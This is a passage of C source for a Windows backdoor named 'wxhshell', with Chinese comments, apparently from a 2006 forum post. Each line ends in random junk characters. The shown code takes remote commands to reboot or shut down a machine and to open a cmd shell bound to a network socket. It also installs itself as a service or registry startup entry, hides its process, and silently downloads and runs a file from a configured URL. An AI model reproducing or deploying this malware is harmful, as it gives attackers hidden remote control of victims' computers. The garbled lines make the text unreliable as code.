  case '?': { =V>inH  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); #w6ty<b;  
    break; Hzc5BC  
  } 6tZ ak1=V  
  // 安装 64LAZE QX  
  case 'i': { [~{'"-3L0  
    if(Install()) ;m#_Rj6  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ?mn&b G  
    else Ls6C*<8  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ;>*Pwz`~jT  
    break; ,Z$!:U  
    } Y5z5LG4  
  // 卸载 |A,<m#C  
  case 'r': { %n@ ^$&,&;  
    if(Uninstall()) Y?#aUQc  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); x^~@`]TV^  
    else 8.ej65r*   
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); J?"v;.K|hU  
    break; X+[h]A  
    } ^d@ME<mb  
  // 显示 wxhshell 所在路径 6;Sz^W  
  case 'p': { Jt(RF*i  
    char svExeFile[MAX_PATH]; S8k<}5  
    strcpy(svExeFile,"\n\r"); 9 .18E(-  
      strcat(svExeFile,ExeFile); &N.]8x5A  
        send(wsh,svExeFile,strlen(svExeFile),0); 7Q0vwKC8>  
    break; w`I+ 4&/h  
    } A{%LL r:  
  // 重启 {M ^5w  
  case 'b': { Bg.  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); Oj8xc!d'  
    if(Boot(REBOOT)) Dp-j(F  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); q#PMQR"C  
    else { Xf{ht%b  
    closesocket(wsh); \OE,(9T2P.  
    ExitThread(0); w JF(&P  
    } XIBm8IkF  
    break; !uW;Ea?  
    } aJLc&o 8Yg  
  // 关机 ~B\O{5W  
  case 'd': { %;,4qB  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); A_g\Fa[jG  
    if(Boot(SHUTDOWN)) lS{ ^*(a  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); %:N;+1  
    else { wnjAiIE5  
    closesocket(wsh); G#YBfPmr  
    ExitThread(0); oS^g "hQ`\  
    } >ud u~  
    break; BG_6$9y  
    } ]]9 VI0   
  // 获取shell W4q |55  
  case 's': { QB"+B]rV  
    CmdShell(wsh); Ij2T h]  
    closesocket(wsh); a"m-&mN  
    ExitThread(0); ]jSRO30H3<  
    break; j~Mx^ivwj  
  } *:?XbtIK u  
  // 退出 $6]1T>  
  case 'x': { _0o65?F  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); [L=M=;{4  
    CloseIt(wsh); @k9n0Qe|F  
    break; z:oi @q  
    } n{(,r'  
  // 离开 ^G14Z5.  
  case 'q': { <9]J/w+  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); eCjyx|:J  
    closesocket(wsh); [&sabM`Ul  
    WSACleanup(); Ys]cJ]  
    exit(1); :Q ?p^OC  
    break; &2r[4  
        } + zf`_1+)U  
  } %gu|  
  } C:.>*;?7  
M>ntldV#g%  
  // 提示信息 PkcvUJV  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 7U:{=+oLR  
} v >cPr(  
  } L),r\#Y(v  
z\-/R9E/5-  
  return; 1L%$\0B4hm  
} :cKdl[E4z  
{ g4`>^;  
// shell模块句柄 kG u{[Rh  
int CmdShell(SOCKET sock) ]F3fO5Z  
{ ujf7r`;u.  
STARTUPINFO si; T0N6k acl  
ZeroMemory(&si,sizeof(si)); O-ppR7edh  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; T%aM~dp  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; S@Aw1i p  
PROCESS_INFORMATION ProcessInfo; ;Irn{O  
char cmdline[]="cmd"; =1\mLI}@  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); fo~>y  
  return 0; '4}8WYKQ  
} +1^L35\@  
 v> s,*  
// 自身启动模式 4'"WD0  
int StartFromService(void) |>b;M ,`OO  
{ Cx&l0ZXHEX  
typedef struct wQ8<%qi"L  
{ [-Xah]g  
  DWORD ExitStatus; e?pQuF~  
  DWORD PebBaseAddress; t/@t_6m}*  
  DWORD AffinityMask; i,rX. K}X  
  DWORD BasePriority; +&G]\WX<  
  ULONG UniqueProcessId; X6=o vm  
  ULONG InheritedFromUniqueProcessId; T^q^JOC4  
}   PROCESS_BASIC_INFORMATION; c4.2o<(Xt  
{s{+MbD  
PROCNTQSIP NtQueryInformationProcess; vy-q<6T}:p  
sl:1P^b  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; K^P&3H*(/n  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; :i|Bz6Ht4  
<fHN^O0TS  
  HANDLE             hProcess; LtPaTe  
  PROCESS_BASIC_INFORMATION pbi; Hc-up.?v'v  
q2/kegAT  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); }*S`1IWMj  
  if(NULL == hInst ) return 0; c]"w0a-`^@  
j /@<=  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); tJ .Ln  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); Z29LtKr  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ! F<::fN  
7g:Lj,Z4L  
  if (!NtQueryInformationProcess) return 0; -@@ O<M^  
IaK J W?  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); s1tkiX{>  
  if(!hProcess) return 0; 1jE {]/Y7&  
#Jt1AV  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; u> =\.d <  
F$i 6  
  CloseHandle(hProcess); ihekON":  
G @EEh.s9  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); v`S ;.iD  
if(hProcess==NULL) return 0; Zu 4au<  
KGc!#C  
HMODULE hMod; cj[x%eK>  
char procName[255]; NKTy!zWh  
unsigned long cbNeeded; w`v` aw]  
@bChJl4  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 5F!i%{XQvm  
I@IE0+ [n  
  CloseHandle(hProcess); gX*j|( r  
0|g@; Pc  
if(strstr(procName,"services")) return 1; // 以服务启动 Yj'"Wg  
(EjlnG}5l  
  return 0; // 注册表启动 14A(ZWwq9  
} ?f6SKC  
F6}YM|  
// 主模块 cP\ZeG#<  
int StartWxhshell(LPSTR lpCmdLine) !tb!%8{~  
{ |oSqy  
  SOCKET wsl; gyegdky3  
BOOL val=TRUE; ryqu2>(   
  int port=0; qJ2Z5  
  struct sockaddr_in door; 3Pp+>{2_?  
Wf-XH|j[  
  if(wscfg.ws_autoins) Install(); \.>7w 1p  
zF|c3ap  
port=atoi(lpCmdLine); CH q5KB98+  
I8c:U2D  
if(port<=0) port=wscfg.ws_port; p'6XF{  
Zrj#4 E1  
  WSADATA data; 0|C !n+OK  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; fs-LaV 0  
tx)$4v  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   ya[f? 0b0  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); *.KVrS<B1  
  door.sin_family = AF_INET; FHEP/T\5  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 3177R>0  
  door.sin_port = htons(port); j-VwY/X  
UZ "!lpg  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { sbhzER  
closesocket(wsl); [rW];H8:~  
return 1; x-W~&`UU  
} u /DE  
TL)7X.1'L  
  if(listen(wsl,2) == INVALID_SOCKET) { k~3\0man  
closesocket(wsl);  <4< y  
return 1; $G{j[iLY  
} y%x:~.  
  Wxhshell(wsl); r;"D>IM\  
  WSACleanup(); n-{d7haOa  
x+ER 3wDD@  
return 0; k_uI&,  
*$`N5;7'`  
} ZJm$7T)V  
$M/1pZ  
// 以NT服务方式启动 =vvd)og  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) lrL:G[rt  
{ Dr[;\/|#  
DWORD   status = 0; a)c;z@r  
  DWORD   specificError = 0xfffffff; =f [/Pv  
.lM]>y)  
  serviceStatus.dwServiceType     = SERVICE_WIN32; Zu~w:uNmU  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; u&[L!w  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 9 W|'~r  
  serviceStatus.dwWin32ExitCode     = 0; FP}I+Ys  
  serviceStatus.dwServiceSpecificExitCode = 0; cP\z*\dS  
  serviceStatus.dwCheckPoint       = 0; !Q5,Zhgr  
  serviceStatus.dwWaitHint       = 0; hc3tzB  
<&2<>*/.y  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); w w[|| =  
  if (hServiceStatusHandle==0) return; BkPt 1i  
H_Va$}8z  
status = GetLastError(); &:u3-:$:9  
  if (status!=NO_ERROR) #I*{_|}=  
{ 9Kg yt  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; *SIYZE'  
    serviceStatus.dwCheckPoint       = 0; Vh2uzG  
    serviceStatus.dwWaitHint       = 0; x*RSD,3  
    serviceStatus.dwWin32ExitCode     = status; nC!]@lA  
    serviceStatus.dwServiceSpecificExitCode = specificError; KLj=M;$:K  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); jSH.e?  
    return; nRu %0Op  
  } ~WORC\kCW  
AzSu_  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; IG{Me  
  serviceStatus.dwCheckPoint       = 0; f6Lc"b3s1  
  serviceStatus.dwWaitHint       = 0; "'@D\e}  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 7Z~JuTIZ  
} *9xxX,QT8Q  
<2L,+  
// 处理NT服务事件,比如:启动、停止 %{pjC7j#  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 68(^*  
{ cruBJZr*  
switch(fdwControl) =:zPT;K  
{ @YQ*a4`  
case SERVICE_CONTROL_STOP: HFTeG4R  
  serviceStatus.dwWin32ExitCode = 0; b/Ma,}  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; z wRF-{s  
  serviceStatus.dwCheckPoint   = 0; 8 hhMuh  
  serviceStatus.dwWaitHint     = 0; z5 @i"%f  
  { _+nk3-yQw  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Tx]p4wY:D  
  } w{ |`F>f9  
  return; *s-s1v  
case SERVICE_CONTROL_PAUSE: );_/0:  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; jDTG15_=  
  break; R4R\B  
case SERVICE_CONTROL_CONTINUE: :T?WN+3  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; C22h*QM*  
  break; &4sz:y4T>  
case SERVICE_CONTROL_INTERROGATE: e`H>}O/ai  
  break; O[eU{ ;P  
}; X }i2qv  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); KdYR?rY  
} & 0\:MJc  
?U[6X| 1  
// 标准应用程序主函数 i2rSP$j  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) [Gv8Fn/aG  
{ !g6=/9  
mMOgx   
// 获取操作系统版本 XP0;Q;WF}  
OsIsNt=GetOsVer(); rQGInzYp  
GetModuleFileName(NULL,ExeFile,MAX_PATH); KK1?!7  
3c7i8b$  
  // 从命令行安装 Ba5*]VGG  
  if(strpbrk(lpCmdLine,"iI")) Install(); O(2c_!d  
Eu~1t& 4  
  // 下载执行文件 wB' !@>db  
if(wscfg.ws_downexe) { wIR"!C>LE  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) reArXmU<u  
  WinExec(wscfg.ws_filenam,SW_HIDE); !iNwJ|0  
} C4d'z(<  
m;hp1VO)  
if(!OsIsNt) { Z<^EZX3N  
// 如果时win9x,隐藏进程并且设置为注册表启动 [7~AWZU3  
HideProc(); J$5 G8<d>  
StartWxhshell(lpCmdLine); ?Js4 \X!uJ  
} gq 3|vzNZ  
else B8"c+<b  
  if(StartFromService()) @#hvQ6u  
  // 以服务方式启动 ef&8L  
  StartServiceCtrlDispatcher(DispatchTable); z^.dYb7<  
else hcRe,}wJ  
  // 普通方式启动 jP_s(PQ  
  StartWxhshell(lpCmdLine); ~_"V7  
[>pBz3fn,  
return 0; +WR?<*_  
}
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只看该作者 1 发表于: 2006-10-10
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